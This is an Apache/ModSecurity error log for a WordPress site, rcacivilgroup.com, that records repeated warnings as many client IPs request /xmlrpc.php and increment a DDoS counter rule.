[Fri Apr 17 19:03:53.087005 2026] [:error] [pid 9153:tid 9227] [client 45.227.163.112:42914] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeITmeMHGxkTZX3c45f0OQAAAIk"]
[Fri Apr 17 19:05:42.073319 2026] [:error] [pid 9151:tid 9162] [client 147.182.174.7:53282] [client 147.182.174.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.174.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIUBshTVuRPkua22vQuzQAAAAE"]
[Fri Apr 17 19:08:40.493518 2026] [:error] [pid 25010:tid 25028] [client 88.87.70.158:58810] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIUuI-7kkf42RarqQ1krwAAAU8"]
[Fri Apr 17 19:10:15.835728 2026] [:error] [pid 9153:tid 9230] [client 155.133.142.66:57804] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIVF-MHGxkTZX3c45f1BAAAAIw"]
[Fri Apr 17 19:11:55.134051 2026] [:error] [pid 9152:tid 9190] [client 212.55.193.47:44086] [client 212.55.193.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.55.193.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIVe5JYca8I3TNCwIdDBgAAAEA"]
[Fri Apr 17 19:15:31.287043 2026] [:error] [pid 51878:tid 51896] [client 91.245.210.195:43096] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIWU0nQhUtMbw9EsgZZNAAAARA"]
[Fri Apr 17 19:25:09.455646 2026] [:error] [pid 51878:tid 51886] [client 137.184.46.218:60592] [client 137.184.46.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.46.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIYlUnQhUtMbw9EsgZfEAAAAQY"]
[Fri Apr 17 19:26:23.988737 2026] [:error] [pid 9263:tid 9285] [client 147.45.149.57:42578] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIY3xP68VyHNvj1e54bmgAAANQ"]
[Fri Apr 17 19:31:50.816997 2026] [:error] [pid 61523:tid 61552] [client 167.99.153.99:38390] [client 167.99.153.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.153.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIaJsOaH-Pgc7WEf4OnggAAAco"]
[Fri Apr 17 19:35:13.990313 2026] [:error] [pid 25010:tid 25014] [client 84.201.130.79:39308] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIa8Y-7kkf42RarqQ1o6QAAAUE"]
[Fri Apr 17 19:36:55.622392 2026] [:error] [pid 61523:tid 61544] [client 178.62.28.91:53694] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIbV8OaH-Pgc7WEf4OpvwAAAcI"]
[Fri Apr 17 19:39:24.798636 2026] [:error] [pid 34273:tid 34297] [client 85.128.143.124:44930] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIb7GuQDW686mK3dgH0wwAAAZY"]
[Fri Apr 17 19:40:27.099557 2026] [:error] [pid 9263:tid 9280] [client 207.154.197.201:45228] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIcKxP68VyHNvj1e54f0AAAAM8"]
[Fri Apr 17 19:50:55.620008 2026] [:error] [pid 25010:tid 25013] [client 79.116.52.1:33170] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIen4-7kkf42RarqQ1rBQAAAUA"]
[Fri Apr 17 19:53:11.967251 2026] [:error] [pid 61523:tid 61554] [client 68.183.124.132:51588] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIfJ8OaH-Pgc7WEf4OxEwAAAcw"]
[Fri Apr 17 19:56:59.145421 2026] [:error] [pid 34273:tid 34296] [client 45.87.221.196:39870] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIgC2uQDW686mK3dgH4bAAAAZU"]
[Fri Apr 17 20:00:08.236926 2026] [:error] [pid 61523:tid 61561] [client 198.199.77.203:49448] [client 198.199.77.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.199.77.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIgyMOaH-Pgc7WEf4OzdgAAAdM"]
[Fri Apr 17 20:00:24.454358 2026] [:error] [pid 51878:tid 51889] [client 109.172.115.12:53500] [client 109.172.115.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.172.115.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIg2EnQhUtMbw9EsgZyowAAAQk"]
[Fri Apr 17 20:00:31.190994 2026] [:error] [pid 34273:tid 34292] [client 82.223.68.239:49134] [client 82.223.68.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.68.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIg32uQDW686mK3dgH5BwAAAZE"]
[Fri Apr 17 20:01:35.467604 2026] [:error] [pid 9153:tid 9226] [client 141.94.27.49:49620] [client 141.94.27.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.27.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIhH-MHGxkTZX3c45f--AAAAIg"]
[Fri Apr 17 20:02:20.487520 2026] [:error] [pid 9153:tid 9223] [client 185.5.208.196:33424] [client 185.5.208.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.5.208.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIhTOMHGxkTZX3c45f_JQAAAIU"]
[Fri Apr 17 20:03:21.719025 2026] [:error] [pid 9152:tid 9213] [client 148.113.180.195:52768] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIhiZJYca8I3TNCwIdOYwAAAFc"]
[Fri Apr 17 20:04:24.798459 2026] [:error] [pid 61523:tid 61541] [client 5.42.124.21:54074] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIhyMOaH-Pgc7WEf4O1lAAAAcA"]
[Fri Apr 17 20:04:50.120480 2026] [:error] [pid 51878:tid 51881] [client 148.251.75.145:58028] [client 148.251.75.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.75.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIh4knQhUtMbw9EsgZ1JAAAAQE"]
[Fri Apr 17 20:06:23.014921 2026] [:error] [pid 9153:tid 9223] [client 46.163.72.195:59442] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIiP-MHGxkTZX3c45f_8wAAAIU"]
[Fri Apr 17 20:06:49.012649 2026] [:error] [pid 9153:tid 9230] [client 103.80.48.225:34438] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIiWeMHGxkTZX3c45cADAAAAIw"]
[Fri Apr 17 20:07:11.842251 2026] [:error] [pid 61523:tid 61565] [client 82.223.101.71:43872] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIib8OaH-Pgc7WEf4O2jgAAAdc"]
[Fri Apr 17 20:08:06.513186 2026] [:error] [pid 34273:tid 34289] [client 82.66.189.231:53182] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIipmuQDW686mK3dgH6VAAAAY4"]
[Fri Apr 17 20:09:45.572489 2026] [:error] [pid 9152:tid 9203] [client 65.21.67.136:37976] [client 65.21.67.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.67.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIjCZJYca8I3TNCwIdQbAAAAE0"]
[Fri Apr 17 20:09:57.260277 2026] [:error] [pid 51878:tid 51886] [client 143.198.154.102:44696] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIjFUnQhUtMbw9EsgZ38QAAAQY"]
[Fri Apr 17 20:10:21.183955 2026] [:error] [pid 51878:tid 51885] [client 103.177.249.114:58658] [client 103.177.249.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.177.249.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIjLUnQhUtMbw9EsgZ4IgAAAQU"]
[Fri Apr 17 20:10:31.386361 2026] [:error] [pid 9152:tid 9208] [client 116.193.73.128:8717] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.73.128, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIjN5JYca8I3TNCwIdQ3wAAAFI"]
[Fri Apr 17 20:13:11.528906 2026] [:error] [pid 9152:tid 9210] [client 78.46.191.135:34130] [client 78.46.191.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.46.191.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIj15JYca8I3TNCwIdSDwAAAFQ"]
[Fri Apr 17 20:16:01.331082 2026] [:error] [pid 25010:tid 25028] [client 66.42.61.4:52196] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIkgY-7kkf42RarqQ1u-AAAAU8"]
[Fri Apr 17 20:17:25.605974 2026] [:error] [pid 61523:tid 61559] [client 180.93.52.173:47296] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIk1cOaH-Pgc7WEf4O8KwAAAdE"]
[Fri Apr 17 20:22:43.258494 2026] [:error] [pid 25010:tid 25016] [client 198.199.77.203:37158] [client 198.199.77.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.199.77.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeImE4-7kkf42RarqQ1v9QAAAUM"]
[Fri Apr 17 20:24:29.153026 2026] [:error] [pid 61523:tid 61546] [client 172.238.64.140:55472] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeImfcOaH-Pgc7WEf4O_PgAAAcQ"]
[Fri Apr 17 20:29:08.331931 2026] [:error] [pid 61523:tid 61541] [client 35.226.125.165:36820] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeInlMOaH-Pgc7WEf4PCyQAAAcA"]
[Fri Apr 17 20:39:10.866429 2026] [:error] [pid 51878:tid 51889] [client 194.233.81.119:56604] [client 194.233.81.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.81.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIp7knQhUtMbw9EsgaIhgAAAQk"]
[Fri Apr 17 20:39:17.532010 2026] [:error] [pid 51878:tid 51889] [client 107.170.74.222:34494] [client 107.170.74.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.170.74.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIp9UnQhUtMbw9EsgaImgAAAQk"]
[Fri Apr 17 20:42:26.108707 2026] [:error] [pid 9263:tid 9269] [client 167.172.129.25:47800] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIqshP68VyHNvj1e540jQAAAMQ"]
[Fri Apr 17 20:43:01.963498 2026] [:error] [pid 51878:tid 51892] [client 213.165.69.184:54684] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIq1UnQhUtMbw9EsgaKhQAAAQw"]
[Fri Apr 17 20:43:22.771603 2026] [:error] [pid 9153:tid 9232] [client 107.170.74.222:45082] [client 107.170.74.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.170.74.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIq6uMHGxkTZX3c45cHeAAAAI4"]
[Fri Apr 17 20:48:34.629340 2026] [:error] [pid 9263:tid 9269] [client 31.97.134.86:51776] [client 31.97.134.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.97.134.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIsIhP68VyHNvj1e543uAAAAMQ"]
[Fri Apr 17 20:51:03.989314 2026] [:error] [pid 61523:tid 61560] [client 66.179.191.163:36608] [client 66.179.191.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.179.191.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIst8OaH-Pgc7WEf4PMzQAAAdI"]
[Fri Apr 17 20:54:07.571816 2026] [:error] [pid 25010:tid 25013] [client 147.45.149.57:49320] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeItb4-7kkf42RarqQ12vwAAAUA"]
[Fri Apr 17 20:54:55.734197 2026] [:error] [pid 9263:tid 9269] [client 91.204.161.79:35812] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeItnxP68VyHNvj1e546eQAAAMQ"]
[Fri Apr 17 20:58:04.661775 2026] [:error] [pid 34273:tid 34279] [client 152.53.87.236:44414] [client 152.53.87.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.87.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIuXGuQDW686mK3dgEHOwAAAYQ"]
[Fri Apr 17 21:01:03.621285 2026] [:error] [pid 9151:tid 9165] [client 79.116.52.1:44976] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.116.52.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIvD8hTVuRPkua22vQ_HQAAAAQ"]
[Fri Apr 17 21:01:30.440428 2026] [:error] [pid 51878:tid 51902] [client 192.41.77.25:58886] [client 192.41.77.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.41.77.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIvKknQhUtMbw9EsgaXeAAAARY"]
[Fri Apr 17 21:03:24.207917 2026] [:error] [pid 51878:tid 51895] [client 177.130.252.131:34086] [client 177.130.252.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.130.252.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIvnEnQhUtMbw9EsgaZcwAAAQ8"]
[Fri Apr 17 21:05:26.460899 2026] [:error] [pid 51878:tid 51884] [client 54.38.195.241:36152] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIwFknQhUtMbw9EsgaaYQAAAQQ"]
[Fri Apr 17 21:05:32.536466 2026] [:error] [pid 9263:tid 9276] [client 13.239.53.175:48586] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIwHBP68VyHNvj1e54_EwAAAMs"]
[Fri Apr 17 21:10:03.254865 2026] [:error] [pid 9152:tid 9208] [client 185.199.223.27:46802] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIxK5JYca8I3TNCwIdiKgAAAFI"]
[Fri Apr 17 21:12:35.842210 2026] [:error] [pid 51878:tid 51896] [client 46.105.230.99:38357] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIxw0nQhUtMbw9EsgaeEQAAARA"]
[Fri Apr 17 21:14:49.444289 2026] [:error] [pid 9152:tid 9203] [client 155.133.132.65:38395] [client 155.133.132.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.132.65, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIySZJYca8I3TNCwIdkqQAAAE0"]
[Fri Apr 17 21:17:31.986618 2026] [:error] [pid 34273:tid 34290] [client 66.94.126.158:42626] [client 66.94.126.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.94.126.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeIy62uQDW686mK3dgEMTQAAAY8"]
